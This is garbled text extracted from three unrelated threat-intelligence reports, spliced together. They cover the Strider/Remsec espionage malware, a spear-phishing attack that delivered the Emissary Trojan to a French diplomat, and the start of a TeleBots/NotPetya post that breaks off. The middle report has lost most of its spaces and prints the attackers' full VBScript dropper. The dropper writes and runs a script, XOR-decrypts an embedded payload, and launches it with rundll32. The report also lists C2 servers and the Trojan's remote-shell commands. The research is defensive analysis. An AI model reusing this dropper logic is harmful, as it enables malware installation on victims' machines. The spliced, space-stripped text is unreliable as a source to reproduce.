ResponseSymantec Employee Created 07 Aug 2016 : , A previously unknown group called Strider has been conducting cyberespionage-style attacks against selected targets in Russia, China, Sweden, and Belgium. The group uses an advanced piece of malware known as Remsec (Backdoor. Remsec) to conduct its attacks. Remsec is a stealthy tool that appears to be primarily designed for spying purposes. Its code contains a reference to Sauron, the all-seeing antagonist in Lord of the Rings. Striders attacks have tentative links with a previously uncovered group, Flamer. The use of Lua modules, which well discuss later, is a technique that has previously been used by Flamer. One of Striders targets had also previously been infected by Regin. Background Strider has been active since at least October 2011. The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation states intelligence services. Symantec obtained a sample of the groups Remsec malware from a customer who submitted it following its detection by our behavioral engine. Remsec is primarily designed to spy on targets. It opens a back door on an infected computer, can log keystrokes, and steal files. Targets Strider has been highly selective in its choice of targets and, to date, Symantec has found evidence of infections in 36 computers across seven separate organizations. The groups targets include a number of organizations and individuals located in Russia, an airline in China, an organization in Sweden, and an embassy in Belgium. 1/4 https://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets https://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/connect/zh-hans/blogs/strider https://www.symantec.com/connect/ja/blogs/strider-0 https://www.symantec.com/security_response/writeup.jsp?docid2016-080214-3543-99 http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://www.symantec.com/connect/blogs/regin-top-tier-espionage-tool-enables-stealthy-surveillance Figure 1. Only a small number of organizations in four countries are impacted by Strider Stealthy back door The Remsec malware used by Strider has a modular design. Its modules work together as a framework that provides the attackers with complete control over an infected computer, allowing them to move across a network, exfiltrate data, and deploy custom modules as required. Remsec contains a number of stealth features that help it to avoid detection. Several of its components are in the form of executable blobs (Binary Large Objects), which are more difficult for traditional antivirus software to detect. In addition to this, much of the malwares functionality is deployed over the network, meaning it resides only in a computers memory and is never stored on disk. This also makes the malware more difficult to detect and indicates that the Strider group are technically competent attackers. 2/4 Remsec modules seen by Symantec to date include: Loader: Named MSAOSSPC.DLL, this module is responsible for loading files from disk and executing them. The files on disk contain the payload in an executable blob format. The loader also logs data. Executable blobs and data are encrypted and decrypted with a repeating key of 0xBAADF00D. The loader maintains persistence by being implemented as a fake Security Support Provider.
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Lua modules: Several examples of Remsec use modules written in the Lua programming language.
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Lua modules: Several examples of Remsec use modules written in the Lua programming language. Remsec uses a Lua interpreter to run Lua modules which perform various functions. These Lua modules are stored in the same executable blob format as the loader. Lua modules include: Network loader This loads an executable over the network for execution. It may use RSA/RC6 encryption. Host loader This is used to decrypt and load at least three other Lua modules into running processes. It references three named modules: ilpsend, updater (neither of which has been discovered to date), and, kblog (likely the Keylogger module detailed below). Keylogger This logs keystrokes and exfiltrates this data to a server under the attackers control. This is the module that contains a string named Sauron in its code. Given its capabilities, it is possible the attackers have nicknamed the module after the all-seeing villain in Lord of the Rings. Figure 2. String referencing Sauron in Remsec keylogger module Network listener: A number of examples of Remsec implement different techniques for opening a network connection based on monitoring for specific types of traffic. These include ICMP, PCAP, and RAW network sockets. Basic pipe back door: This is a minimal back door module, controlled over named pipes. It can execute data in the format of the executable blob or a standard executable. Advanced pipe back door: This offers several more commands than the basic version, including sending the executable blob, listing files, and reading/writing/deleting files. HTTP back door: This module includes several URLs for a command and control (CC) server. Strider is capable of creating custom malware tools and has operated below the radar for at least five years. Based on the espionage capabilities of its malware and the nature of its known targets, it is possible that the group is a nation-state level attacker. Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers. 3/4 Protection Symantec and Norton products detect this threat as Backdoor. Remsec. Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment. Tags: Products, Endpoint Protection, Security Response, Backdoor. Remsec, Belgium, China, Cyberespionage, Flamer, LOTR, Malware, Russia, Strider, Sweden Subscriptions (0) 4/4 https://www.symantec.com/security_response/writeup.jsp?docid2016-080214-3543-99 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:101211 https://www.symantec.com/connect/search?filtersim_vid_111:101241 https://www.symantec.com/connect/search?filtersim_vid_111:101221 https://www.symantec.com/connect/search?filtersim_vid_111:84571 https://www.symantec.com/connect/search?filtersim_vid_111:71231 https://www.symantec.com/connect/search?filtersim_vid_111:101271 https://www.symantec.com/connect/search?filtersim_vid_111:8691 https://www.symantec.com/connect/search?filtersim_vid_111:25171 https://www.symantec.com/connect/search?filtersim_vid_111:101201 https://www.symantec.com/connect/search?filtersim_vid_111:101231 Strider: Cyberespionage group turns eye of Sauron on targets 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 1/17 AttackonFrenchDiplomatLinkedtoOperationLotus BlossomPaloAltoNetworksBlog WeobservedatargetedattackinNovemberdirectedatanindividualworkingfortheFrenchMinistry ofForeignAffairs. TheattackinvolvedaspearphishingemailsenttoasingleFrenchdiplomatbased inTaipei,TaiwanandcontainedaninvitationtoaScienceandTechnologysupportgroupevent. TheactorsattemptedtoexploitCVE20146332usingaslightlymodifiedversionoftheproofof concept(POC)codetoinstallaTrojancalledEmissary,whichisrelatedtotheOperationLotus Blossomcampaign. TheTTPsusedinthisattackalsomatchthosedetailedinthepaper. The targetingofthisindividualsuggeststheactorsareinterestedinbreachingtheFrenchMinistryof ForeignAffairsitselforgaininginsightsintorelationsbetweenFranceandTaiwan. WehavecreatedtheEmissarytagforAutoFocususerstotrackthisthreat. Engarde OnNovember10,2015,threatactorssentaspearphishingemailtoanindividualattheFrench MinistryofForeignAffairs. Thesubjectandthebodyoftheemailsuggestthetargetedindividualhad beeninvitedtoaScienceandTechnologyconferenceinHsinchu,Taiwan. Theemailappearsquite timely,astheconferencewasheldonNovember13,2015,whichisthreedaysaftertheattacktook place. Theemailbodycontainedalinktothelegitimateregistrationpagefortheconference,buttheemail alsohadtwoattachmentswiththefollowingfilenamesthatalsopertaintotheconference: 1..doc(translatestoTsaiKerChienmingNationalScienceand TechnologySupportAssociationinvitations.doc) 2..doc(translatestoWrittenApplicationForm.doc) BothattachmentsaremaliciousWorddocumentsthatattempttoexploittheWindowsOLE AutomationArrayRemoteCodeExecutionVulnerabilitytrackedbyCVE20146332.Uponsuccessful exploitation,theattachmentswillinstallaTrojannamedEmissaryandopenaWorddocumentasa decoy. Thefirstattachmentopensadecoy(Figure2)thatisacopyofaninvitationtoaScienceand TechnologyconferencethispastNovember13thheldinHsingchu,Taiwan,whilethesecondopensa decoy(Figure1)thatisaregistrationformtoattendtheconference. Theconferencewaswidely advertisedonlineandonFacebook,howeverinthiscasetheinvitationincludesadetaileditinerary thatdoesnotseemtohaveappearedonline. TheDemocraticProgressivesParty(DPP)Chairwoman TsaiIngwenandDPPcaucuswhipandHsinchurepresentativeKerChienmingweretheprimary politicalsponsorsoftheconferenceandarelongtimepoliticalallies. TsaiIngwenisthecurrentfront http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ https://autofocus.paloaltonetworks.com//tag/Unit42.Emissary http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-6332 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 2/17 runnerfortheTaiwanesePresidencyandKerChienmingmaybecomeSpeakerifshewins. The conferencefocusedonusingopensourcetechnology,openinternationalrecruiting,andpartnerships tocontinuedevelopingHsinchuastheSiliconValleyofTaiwan. ItparticularlynotedFranceasanally inthis,andFranceisTaiwanssecondlargesttechnologypartnerandfourthlargesttradingpartnerin Europe. Figure1Decoydocumentcontainingwrittenapplicationform Figure2Decoydocumentcontainingtheinvitationandagendaforevent ExploitingCVE20146332 ThethreatactorsattemptedtoexploitCVE20146332usingthePOCcodeavailableinthewild. The https://gist.github.com/worawit/77a839e3e5ca50916903 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 3/17 POCcodecontainsinlinecommentsthatexplainhowthemaliciousVBScriptexploitsthisvulnerability, soinsteadofdiscussingthemaliciousscriptorexploititself,wewillfocusontheportionsofthescript thatthethreatactorsmodified. TheactorsremovedtheexplanatorycommentsfromtheVBScriptandmadeslightmodificationsto thePOCcode. TheonlymajorfunctionaldifferencebetweenthePOCandtheVBScriptinvolved addingtheabilitytoextractandrunbothadecoydocumentandpayload. Figure3and4compare thedifferingrunshellcommandwithinthePOCandthemaliciousdocumentsusedinthisattack. ThecodeinFigure3showsthatthePOCdoesnothingmorethanlaunchthenotepad.exe applicationuponsuccessfulexploitation. Figure4showsthemaliciousdocumentcreatingafile namedss.vbsthatitwritesaVBScripttousingaseriesofechostatements. Afterwritingthe VBScript,themaliciousdocumentexecutesthess.vbsfile. 1 2 3 4 5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 4/17 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 5/17 68 69 70 71 72 73 74 75 76 77 78 79 80 functionrunshell() OnErrorResumeNext setobjshellCreateobject(WScript. Shell) strValueobjshell. RegRead(HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\LocalAppData) enamerundll32,strValue\mm.dll,Setting outfile1strValue\mm.dll bsstrValue\ss.vbs dnstrValue\t.doc vwindow.location.href vReplace(v,file:///,,1,1,1) vReplace(v,?.html,,1,1,1) vReplace(v,20,,1) vReplace(v,/,\,1) cmdcmd arg/ctaskkillfimwinword.exe arg1, setshellcreateobject(wscript.shell) shell.runcmd.exe/cechoOnErrorResumeNextbs,0,true shell.runcmd.exe/cechosetshellcreateobject(Shell. Application)bs,0,true shell.runcmd.exe/cechoshell. ShellExecutecmd,arg,,,0bs ,0,true shell.runcmd.exe/cechowscript.sleep3000bs,0,true shell.runcmd.exe/cechodimstrbs ,0,true shell.runcmd.exe/cechodimL1bs ,0,true shell.runcmd.exe/cechodimL2bs ,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 6/17 shell.runcmd.exe/cechodimLenbs ,0,true shell.runcmd.exe/cechodiminfilebs ,0,true shell.runcmd.exe/cechodimoutfile1bs ,0,true shell.runcmd.exe/cechodimoutfile2bs ,0,true shell.runcmd.exe/cechoinfilevbs ,0,true shell.runcmd.exe/cechooutfile1outfile1 bs,0,true shell.runcmd.exe/cechooutfile2dn bs,0,true shell.runcmd.exe/cechoL178924 bs,0,true shell.runcmd.exe/cechoL238912 bs,0,true shell.runcmd.exe/cechosize144893 bs,0,true shell.runcmd.exe/cechooffset1sizeL1L2 bs,0,true shell.runcmd.exe/cechooffset2sizeL2bs ,0,true shell.runcmd.exe/cechoLen0bs ,0,true shell.runcmd.exe/cechostrReadBinary(infile,L1,offset1) bs,0,true shell.runcmd.exe/cechoWriteBinaryoutfile1,str bs,0,true shell.runcmd.exe/cechostrReadBinary(infile,L2,offset2) bs,0,true shell.runcmd.exe/cechoWriteBinaryoutfile2,str bs,0,true shell.runcmd.exe/cechoFunctionReadBinary(FileName,length,offset) bs,0,true shell.runcmd.exe/cechoDimBuf(),Ibs ,0,true shell.runcmd.exe/cechoWithCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cecho. Mode3:.Type1:.Open:.LoadFromFileFileName:.Position offsetbs,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 7/17 shell.runcmd.exe/cechoLenlength1bs ,0,true shell.runcmd.exe/cechoReDimBuf(Len) bs,0,true shell.runcmd.exe/cechoForI0ToLen:if(I0)thenBuf(I)(AscB(.Read(1)))elseif((Imod 2)0)thenBuf(I)(AscB(.Read(1))xorAscB(chr(65)))elseBuf(I)(AscB(.Read(1))xorAscB(chr(67))) endifbs,0,true shell.runcmd.exe/cechoNextbs,0,true shell.runcmd.exe/cecho. Closebs ,0,true shell.runcmd.exe/cechoEndWithbs ,0,true shell.runcmd.exe/cechoReadBinaryBuf bs,0,true shell.runcmd.exe/cechoEndFunctionbs ,0,true shell.runcmd.exe/cechoSubWriteBinary(FileName,Buf) bs,0,true shell.runcmd.exe/cechoDimI,aBuf,Size,bStream bs,0,true shell.runcmd.exe/cechoSizeUBound(Buf):ReDimaBuf(Size\2) bs,0,true shell.runcmd.exe/cechoForI0ToSize1Step2 bs,0,true shell.runcmd.exe/cechoaBuf(I\2)ChrW(Buf(I1)256Buf(I)) bs,0,true shell.runcmd.exe/cechoNextbs ,0,true shell.runcmd.exe/cechoIfISizeThenaBuf(I\2)ChrW(Buf(I)) bs,0,true shell.runcmd.exe/cechoaBufJoin(aBuf,) bs,0,true shell.runcmd.exe/cechoSetbStreamCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cechobStream. Type1:bStream. Open bs,0,true shell.runcmd.exe/cechoWithCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cecho. Type2:.Open:.WriteTextaBuf bs,0,true shell.runcmd.exe/cecho. Position2:.CopyTobStream:.Close bs,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 8/17 shell.runcmd.exe/cechoEndWithbs ,0,true shell.runcmd.exe/cechobStream. SaveToFileFileName,2: bStream. Closebs,0,true shell.runcmd.exe/cechoSetbStreamNothing bs,0,true shell.runcmd.exe/cechoEndSubbs ,0,true shell.runcmd.exe/cechosetshellcreateobject(Shell. Application)bs,0,true shell.runcmd.exe/cechoshell. ShellExecutednbs,0,true shell.runcmd.exe/cechoshell. ShellExecuteenamebs,0,true shell.runcmd.exe/cechoSetxaCreateObject(Scripting. FileSystemObject) bs,0,true shell.runcmd.exe/cechoIfxa. FileExists(bs)Then bs,0,true shell.runcmd.exe/cechoSetxbxa. GetFile(bs) bs,0,true shell.runcmd.exe/cechoxb. Deletebs ,0,true shell.runcmd.exe/cechoEndIfbs ,0,true shell.runcmd.exe/cbs,0,true endfunction Figure4CodeblockcontainingrunshellfunctioninmaliciousVBScriptwithinattachment Thess.vbsfileisresponsibleforlocatingthepayloadanddecoydocumentfromtheinitialmalicious document,aswellasdecrypting,savingandopeningbothofthefiles. Thescripthashardcoded offsetstothelocationofboththepayloadanddecoydocumentwithintheinitialdocument. Thescript willdecryptbothoftheembeddedfilesusingatwobyteXORloopthatskipsthefirstbyteandthen decryptstheremainingusingAandCasthekey. Afterdecryptingtheembeddedfiles,thescript savesthedecoytot.docandthepayloadtomm.dllintheAPPDATA\LocalDatafolder. Finally, thescriptwillopenthedecoydocumentandlaunchthepayloadbycallingitsexportedfunction namedSetting. 1 2 3 4 5 6 7 8 9 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 9/17 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 10/17 52 53 54 55 56 57 58 59 60 61 OnErrorResumeNext setshellcreateobject(Shell. Application) shell. ShellExecutecmd,/ctaskkillfimwinword.exe,,,0 wscript.sleep3000 dimstr dimL1 dimL2 dimLen diminfile dimoutfile1 dimoutfile2 infileC:\DocumentsandSettings\username\Desktop\maliciousdocument name.doc outfile1C:\DocumentsandSettings\username\LocalSettings\Application Data\mm.dll outfile2C:\DocumentsandSettings\username\LocalSettings\Application Data\t.doc L178924 L238912 size144893 offset1sizeL1L2 offset2sizeL2 Len0 strReadBinary(infile,L1,offset1) WriteBinaryoutfile1,str strReadBinary(infile,L2,offset2) WriteBinaryoutfile2,str FunctionReadBinary(FileName,length,offset) DimBuf(),I WithCreateObject(ADODB.Stream) .Mode3:.Type1:.Open:.LoadFromFileFileName:.Positionoffset Lenlength1 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 11/17 ReDimBuf(Len) ForI0ToLen:if(I0)thenBuf(I)(AscB(.Read(1)))elseif((Imod2)0)thenBuf(I) (AscB(.Read(1))xorAscB(chr(65)))elseBuf(I)(AscB(.Read(1))xorAscB(chr(67)))endif Next .Close EndWith ReadBinaryBuf EndFunction SubWriteBinary(FileName,Buf) DimI,aBuf,Size,bStream SizeUBound(Buf):ReDimaBuf(Size\2) ForI0ToSize1Step2 aBuf(I\2)ChrW(Buf(I1)256Buf(I)) Next IfISizeThenaBuf(I\2)ChrW(Buf(I)) aBufJoin(aBuf,) SetbStreamCreateObject(ADODB.Stream) bStream. Type1:bStream. Open WithCreateObject(ADODB.Stream) .Type2:.Open:.WriteTextaBuf .Position2:.CopyTobStream:.Close EndWith bStream. SaveToFileFileName,2:bStream. Close SetbStreamNothing EndSub setshellcreateobject(Shell. Application) shell. ShellExecuteC:\DocumentsandSettings\username\LocalSettings\Application Data\t.doc shell. ShellExecuterundll32,C:\DocumentsandSettings\username\LocalSettings\Application Data\mm.dll,Setting SetxaCreateObject(Scripting. FileSystemObject) Ifxa. FileExists(C:\DocumentsandSettings\username\LocalSettings\ApplicationData\ss.vbs) Then Setxbxa. GetFile(C:\DocumentsandSettings\username\LocalSettings\Application Data\ss.vbs) xb. Delete EndIf Figure5VBScriptwithinss.vbsresponsibleforextractingandrunningthepayloadanddecoy Emissary5.3Analysis ThepayloadofthisattackisaTrojanthatwetrackwiththenameEmissary. ThisTrojanisrelatedto 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 12/17 theElisebackdoordescribedintheOperationLotusBlossomreport. BothEmissaryandEliseare partofamalwaregroupreferredtoasLStudio,whichisbasedonthefollowingdebugstringsfound inEmissaryandElisesamples: d:\lstudio\projects\worldclient\emissary\Release\emissary\i386\emissary.pdb d:\lstudio\projects\lotus\elise\Release\EliseDLL\i386\EliseDLL.pdb ThereiscodeoverlapbetweenEmissaryandElise,specificallyintheuseofacommonfunctionto logdebugmessagestoafileandacustomalgorithmtodecrypttheconfigurationfile. Thecustom algorithmusedbyEmissaryandElisetodecrypttheirconfigurationsusethesrandfunctiontoseta seedvaluefortherandfunction,whichthealgorithmusestogenerateakey. Whiletherand functionismeanttogeneraterandomnumbers,themalwareauthorusesthesrandfunctionto seedtherandfunctionwithastaticvalue. Thestaticseedvaluecausestherandfunctiontocreate thesamevalueseachtimeitiscalledandresultsinastatickeytodecrypttheconfiguration. The seedvalueiswheretheEmissaryandElisedifferintheiruseofthisalgorithm,asEmissaryusesa seedvalueof1024(asseeninFigure6)andEliseusestheseedvalueof2012. Figure6CustomalgorithminEmissaryusingsrandandrandwith1024asaseedvalue WhilethesetwoTrojanssharecode,weconsiderEmissaryandEliseseparatetoolssincetheir configurationstructure,commandhandlerandC2communicationschanneldiffer. TheEmissary TrojandeliveredinthisattackcontainsthecomponentslistedinTable1.Atahighlevel,Emissaryhas aninitialloaderDLLthatextractsaconfigurationfileandasecondDLLcontainingEmissarys functionalcodethatitinjectsintoInternetExplorer. MD5 Path Description 06f1d2be5e981dee056c231d184db908 APPDATA\LocalData\ishelp.dll Loader 6278fc8c7bf14514353797b229d562e8 APPDATA\LocalData\A08E81B411.DAT Emissary Payload e9f51a4e835929e513c3f30299567abc APPDATA\LocalData\75BD50EC.DAT Configuration file varies TEMP\000A758C8FEAE5F.TMP Logfile Table1DroppedfilesassociatedwithEmissaryTrojanseeninattackonFrenchMinistryofForeign Affairs http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 13/17 TheloaderTrojannamedishelp.dllhadanoriginalnameofLoader.dll,whichwillextractthe Emissarypayloadfromaresourcenamedasdasdasdasdsadandwriteittoafilenamed A08E81B411.DAT.Theloaderwillthenwriteanembeddedconfigurationtoafilenamed 75BD50EC.DAT.TheloaderTrojancreatesamutexnamed_MICROSOFT_LOADER_MUTEX_ andfinishesbyinjectingtheEmissaryDLLinA08E81B411.DATintoanewlyspawnedInternet Explorerprocess. TheEmissaryTrojanrunswithintheInternetExplorerprocess. Itbeginsbyreadinganddecryptingits configurationfile,whichhasthefollowingstructure: 1 2 3 4 5 6 7 8 9 10 11 12 structemissary_config WORDemissary_version_major WORDemissary_version_minor CHAR[36]GUID_for_sample WORDUnknown1 CHAR[128]Server1 CHAR[128]Server2 CHAR[128]Server3 CHAR[128]CampaignName CHAR[550]Unknown2 WORDDelay_interval_seconds Wedecryptedandparsedtheconfigurationfilethataccompaniedthepayloadusedinthisattack, whichresultedinthefollowingsettings: Version:5.3 GUID:ba87c1c5f71c4a8bb51107aa113d9103 C2Server1:http://ustar5.PassAs[. ]us/default.aspx C2Server2:http://203.124.14.229/default.aspx C2Server3:http://dnt5b.myfw[. ]us/default.aspx CampaignCode:UPGZHG01 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 14/17 SleepDelay:300 Afterdecryptingtheconfigurationfile,Emissaryinteractswithitscommandandcontrol(C2)servers usingHTTPorHTTPS,dependingontheprotocolspecifiedintheconfigurationfile. Theinitial networkbeaconsentfromEmissarytoitsC2server,seeninFigure7,includesaCookiefieldthat containsaGUID,opandSHOfield. TheGUIDfieldisauniqueidentifierforthecompromised systemthatisobtaineddirectlyfromtheconfigurationfile. Theopfieldhasavalueof101,whichis astaticvaluethatrepresentstheinitialnetworkbeacon. TheSHOfieldcontainstheexternalIP addressoftheinfectedsystem,whichEmissaryobtainsfromalegitimatewebsiteshowip.net, specificallyparsingthewebsitesresponseforinputidcheckiptypetextnamecheck_ip value,whichcontainstheIPaddressofthesystem. Figure7NetworkbeaconsentfromEmissaryTrojantoC2server TheC2serverresponsetothisbeacon(seeninFigure8)willcontainaheaderfieldcalledSet Cookie,whichcontainsavalueofSID.TheSIDvalueisbase64encodedandencryptedusinga rollingXORalgorithm,whichoncedecodedanddecryptedcontainsa36characterGUIDvalue. The EmissaryTrojanwillusethisGUIDvalueprovidedbytheC2serverasanencryptionkeythatitwill usetoencryptdatasentinsubsequentnetworkcommunications. Figure8C2responsetoEmissarybeacon TheC2serverprovidescommandstotheTrojanasathreedigitnumericstringwithinthedata portionoftheHTTPresponse(intheformofopcommand),whichtheEmissaryTrojanwill decryptandcomparetoalistofcommandswithinitscommandhandler. Thecommandhandler functionwithintheEmissaryTrojansupportssixcommands,asseeninTable2. Command Description 102 UploadafiletotheC2server. 103 Executesaspecifiedcommand. 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 15/17 104 DownloadfilefromtheC2 server. 105 Updateconfigurationfile. 106 Createaremoteshell. 107 UpdatestheTrojanwithanew executable. Table2CommandhandlerwithinEmissaryversion5.3 IfthecommandissuedfromtheC2serverdoesnotmatchtheonelistedintheTrojansavesthe messageunkown:stothelogfile. ThecommandsetavailablewithinEmissaryallowsthethreat actorsbackdooraccesstoacompromisedsystem. Usingthisaccess,thethreatactorscanexfiltrate dataandcarryoutfurtheractivitiesonthesystem,includinginteractingdirectlywiththesystems commandshellanddownloadingandexecutingadditionaltoolsforfurtherfunctionality. ThreatInfrastructure TheinfrastructureassociatedwiththeEmissaryC2serversusedinthisattackincludes ustar5.PassAs[.]us,203.124.14.229anddnt5b.myfw[. ]us. Theinfrastructureisratherisolatedasthe onlyoverlapindomainsincludesappletree.onthenetas[. ]com. Theoverlap,asseeninFigure9 involvestwoIPaddressesthatduringthesametimeframeresolvedboththe appletree.onthenetas[.]comdomainandtheEmissaryC2domainofustar5.PassAs[. ]us. Theother C2domainusedbythisEmissarypayload,specificallydnt5b.myfw[. ]uscurrentlyresolvestothe 127.0.0.1.ThisprovidesanotherglimpseintoTTPsforthesethreatactors,asitsuggeststhatthe threatactorssetthesecondaryC2domainstoresolvetothelocalhostIPaddresstoavoidnetwork detectionandchangethistoaroutableIPaddresswhentheyneedtheC2serveroperational. Additionally,whilethisinfrastructuredoesnotoverlapwiththatusedinOperationLotusBlossom,that alsofitswiththeTTPs. Ineachcase,thethreatactorsusedseparateinfrastructurefordifferent targets,anotherwaytohelpavoiddetection. 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 16/17 Figure9InfrastructureassociatedwithEmissaryTrojan Conclusion APTthreatactors,mostlikelynationstatesponsored,targetedadiplomatintheFrenchMinistryof ForeignAffairswithaseeminglylegitimateinvitationtoatechnologyconferenceinTaiwan. Itis entirelypossiblethediplomatwastrulyinvitedtotheconference,oratleastwouldnothavebeen surprisedbytheinvitation,addingtothelikelihoodtheattachmentwouldhavebeenopened. The actorswereattemptingtoexploitCVE20146332toinstallanewversionoftheEmissaryTrojan, specificallyversion5.3. TheEmissaryTrojanisrelatedtotheElisemalwareusedinOperationLotusBlossom,whichwasan attackcampaignontargetsinSoutheastAsia,inmanycasesalsowithofficiallookingdecoy http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 17/17 documentsthatdonotappeartohavebeenavailableonline. Additionally,thetargetingofaFrench diplomatbasedinTaipei,Taiwanalignswithprevioustargetingbytheseactors,asdoestheseparate infrastructure. Basedonthetargetingandlures,Unit42assessesthatthethreatactorscollection requirementsnotonlyincludemilitariesandgovernmentagenciesinSoutheastAsia,butalsonations involvedindiplomaticandtradeagreementswiththem. Indicators RelatedHashes 748feae269d561d80563eae551ef7bfd.doc 9fd6f702763a9840bd1b3a898eb9c62d.doc 06f1d2be5e981dee056c231d184db908ishelp.dll 6278fc8c7bf14514353797b229d562e8A08E81B411.DAT e9f51a4e835929e513c3f30299567abc75BD50EC.DAT CommandandControl 203.124.14.229 ustar5.PassAs[. ]us appletree.onthenetas[. ]com dnt5b.myfw[. ]us 6/30/2017 TeleBots are back: Supply-chain attacks against Ukraine welivesecurity.com /2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ By Anton Cherepanov posted 30 Jun 2017 - 03:30PM Ransomware The latest Petya-like outbreak has gathered a lot of attention from the media. However, it should be noted that this was not an isolated incident: this is the latest in a series of similar attacks in Ukraine. This blogpost reveals many details about the Diskcoder. C (aka ExPetr, PetrWrap, Petya, or NotPetya) outbreak and related information about previously unpublished attacks. 1/11 https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ https://www.welivesecurity.com/author/acherepanov/ https://www.welivesecurity.com/category/ransomware-malware/ https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/ Figure 1 The timeline of supply-chain attacks in Ukraine. TeleBots In December 2016 we published two detailed blogposts about disruptive attacks conducted by the group ESET researchers call TeleBots, specifically about attacks against financial institutions and a Linux version of the KillDisk malware used by this group. The group mounted cyberattacks against various computer systems in Ukraine systems that can be defined as critical infrastructure. Moreover, this group has connections with the infamous BlackEnergy group that was responsible for the December 2015 power outages in Ukraine. In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims disks. Putting the cart before the horse: collecting ransom money was never the top priority for the TeleBots group. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files. Further, it did not provide contact information for communicating with the attacker it just displayed an image from the Mr. Robot TV show. 2/11 https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/ https://en.wikipedia.org/wiki/Critical_infrastructure 